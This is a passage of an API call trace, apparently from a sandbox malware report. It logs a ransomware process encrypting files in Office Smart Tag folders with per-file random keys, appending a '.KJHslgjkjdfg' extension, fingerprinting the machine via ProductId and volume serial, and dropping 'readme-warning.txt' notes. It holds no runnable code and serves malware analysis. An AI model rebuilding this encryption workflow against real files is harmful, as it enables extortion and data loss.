lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0171.065] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.065] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.065] GetProcessHeap () returned 0x2ef0000 [0171.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.065] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0171.065] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.065] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0171.065] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.065] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.065] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.065] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.066] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.066] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.066] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x377ef, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x377ef, lpOverlapped=0x0) returned 1 [0171.070] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x377f0, dwBufLen=0x377f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x377f0) returned 1 [0171.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.073] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x377f0, lpOverlapped=0x0) returned 1 [0171.074] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x378b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.074] SetEndOfFile (hFile=0x114) returned 1 [0171.078] GetProcessHeap () returned 0x2ef0000 [0171.078] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.078] GetProcessHeap () returned 0x2ef0000 [0171.078] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.kjhslgjkjdfg")) returned 1 [0171.087] CloseHandle (hObject=0x114) returned 1 [0171.087] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0171.087] GetProcessHeap () returned 0x2ef0000 [0171.087] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.087] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0171.087] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.088] GetProcessHeap () returned 0x2ef0000 [0171.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.088] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0171.088] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.088] GetProcessHeap () returned 0x2ef0000 [0171.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.088] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0171.088] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.088] GetProcessHeap () returned 0x2ef0000 [0171.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.088] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0171.088] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.088] GetProcessHeap () returned 0x2ef0000 [0171.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.089] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0171.089] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.089] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0171.089] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0171.089] RegCloseKey (hKey=0x114) returned 0x0 [0171.089] GetProcessHeap () returned 0x2ef0000 [0171.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.089] GetProcessHeap () returned 0x2ef0000 [0171.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.089] GetProcessHeap () returned 0x2ef0000 [0171.089] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.089] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.089] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0171.089] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.090] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.090] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.090] GetProcessHeap () returned 0x2ef0000 [0171.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.090] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.090] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.090] GetProcessHeap () returned 0x2ef0000 [0171.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0171.090] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\readme-warning.txt") returned 81 [0171.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.092] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.093] CloseHandle (hObject=0x114) returned 1 [0171.093] GetProcessHeap () returned 0x2ef0000 [0171.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.093] GetProcessHeap () returned 0x2ef0000 [0171.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0171.093] GetProcessHeap () returned 0x2ef0000 [0171.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.093] GetProcessHeap () returned 0x2ef0000 [0171.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.093] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.093] GetProcessHeap () returned 0x2ef0000 [0171.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0171.094] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0171.094] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0171.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.095] GetProcessHeap () returned 0x2ef0000 [0171.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.095] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0171.095] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.097] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.097] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.097] GetProcessHeap () returned 0x2ef0000 [0171.097] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0171.097] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.097] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0171.098] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0171.098] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0171.098] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0171.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0171.098] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.098] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.098] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.098] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x100000, lpOverlapped=0x0) returned 1 [0171.120] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x100000, dwBufLen=0x100000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x100000) returned 1 [0171.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.132] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x100000, lpOverlapped=0x0) returned 1 [0171.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.136] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.136] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x20eb8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x20eb8, lpOverlapped=0x0) returned 1 [0171.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20ec0, dwBufLen=0x20ec0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x20ec0) returned 1 [0171.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.138] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x20ec0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x20ec0, lpOverlapped=0x0) returned 1 [0171.139] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x120f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.139] SetEndOfFile (hFile=0xf0) returned 1 [0171.144] GetProcessHeap () returned 0x2ef0000 [0171.144] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.144] GetProcessHeap () returned 0x2ef0000 [0171.144] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.kjhslgjkjdfg")) returned 1 [0171.164] CloseHandle (hObject=0xf0) returned 1 [0171.164] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0171.165] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0171.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.169] GetProcessHeap () returned 0x2ef0000 [0171.169] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.169] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0171.169] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0171.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.172] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.172] GetProcessHeap () returned 0x2ef0000 [0171.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.172] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0171.172] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0171.172] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0171.172] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0171.172] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0171.172] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0171.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0171.172] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0171.173] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0171.173] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.173] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3574, 